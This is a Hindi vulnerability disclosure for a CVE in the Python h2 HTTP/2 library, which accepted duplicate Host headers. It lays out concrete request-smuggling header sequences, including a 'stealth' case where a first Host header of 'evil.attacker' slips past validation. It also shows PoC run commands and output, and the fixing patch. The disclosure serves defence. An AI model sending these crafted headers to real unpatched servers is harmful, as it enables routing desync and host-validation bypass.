
CVE-2026-71554 के लिए PoC - h2 डुप्लिकेट Host header रिक्वेस्ट स्मगलिंग प्राइमिटिव (4.4.1 में ठीक किया गया)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg प्रभावित: h2 <= 4.4.0 ठीक किया गया: h2 4.4.1 गंभीरता: मध्यम (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
h2 के हेडर वैलिडेशन लॉजिक की समीक्षा करते समय, मैंने देखा कि src/h2/utilities.py में _validate_host_authority_header() यह जाँचता है कि Host और :authority मेल खाते हैं या नहीं - लेकिन यह केवल उस अंतिम Host हेडर की तुलना करता है जो उसे दिखता है। यदि आप दो Host हेडर भेजते हैं, तो h2 मिलान जाँच के लिए दूसरे का उपयोग करता है और बिना किसी शिकायत के दोनों को एप्लिकेशन तक अग्रेषित कर देता है।
दिलचस्प बात यह है कि h2 4.4.0 पहले से ही डुप्लिकेट Content-Length हेडर को ProtocolError के साथ अस्वीकार करता है। वही सुधार Host पर कभी लागू नहीं किया गया। स्रोत में एक TODO टिप्पणी भी थी जो इसी कमी को स्वीकार करती है:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
src/h2/utilities.py में _validate_host_authority_header() एक last-wins लूप का उपयोग करता है जो देखे गए अंतिम Host मान को रिकॉर्ड करता है और केवल उसी की जाँच करता है:
:authority या Host में से कम से कम एक मौजूद होHost हेडर की संख्या पर कोई जाँच नहीं है। प्रत्येक Host हेडर, चाहे कितने भी मौजूद हों, डाउनस्ट्रीम एप्लिकेशन तक पहुँचा दिया जाता है।
क्लाइंट भेजता है:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 दोनों को स्वीकार करता है। एप्लिकेशन को दोनों Host हेडर प्राप्त होते हैं।
HTTP/1.1 डाउनग्रेड उत्पन्न करता है:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2 के अनुसार सर्वर को एक से अधिक Host हेडर वाले किसी भी HTTP/1.1 अनुरोध पर 400 प्रतिक्रिया देनी चाहिए। बैकएंड अलग-अलग व्यवहार करते हैं:
nginx — 400 के साथ अस्वीकार करता है
Python stdlib — स्वीकार करता है, lookup पर पहला Host लौटाता है
Werkzeug — स्वीकार करता है, lookup पर पहला Host लौटाता है
क्लाइंट भेजता है:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
h2 सत्यापित करता है: अंतिम Host (good.internal) == :authority (good.internal) - पास हो जाता है।
एप्लिकेशन को दोनों Host हेडर प्राप्त होते हैं। HTTP/1.1 डाउनग्रेड उत्पन्न करता है:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
जो बैकएंड single-key lookup पर पहला Host लौटाते हैं, वे अनुरोध को evil.attacker पर रूट कर देते हैं, जबकि h2 का मानना था कि उसने good.internal को सत्यापित किया है। h2 द्वारा सत्यापित और ओरिजिन द्वारा प्रोसेस किए गए के बीच पूर्ण रूटिंग डीसिंक।
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 ProtocolError उठाता है। यह पुष्टि करता है कि यह कमी विशेष रूप से डुप्लिकेट Host हेडर तक सीमित है।
प्रभाव डिप्लॉयमेंट आर्किटेक्चर पर सशर्त है:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
केस 1 - दो Host हेडर, कोई :authority नहीं (दोनों फ़ॉरवर्ड किए गए)
h2 ने Host हेडर फ़ॉरवर्ड किए: ['good.internal', 'evil.attacker']
परिणामी HTTP/1.1 अनुरोध:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
केस 2 - STEALTH: :authority अंतिम Host से मेल खाता है, पहला Host तस्करी किया गया
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 मिसमैच जाँच पास होती है (:authority == अंतिम Host)।
परिणामी HTTP/1.1 अनुरोध:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
नियंत्रण - एकल बेमेल Host बनाम :authority (सही ढंग से अस्वीकृत)
[control] SENDER अस्वीकृत: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
तीनों केस ProtocolError उत्पन्न करते हैं। कोई हेडर फ़ॉरवर्ड नहीं किया गया।
_validate_host_authority_header() में मौजूदा लूप में एक काउंटर जोड़ा गया:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
कमिट: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
Sunand Mohan (https://github.com/SunandM) द्वारा खोजा और रिपोर्ट किया गया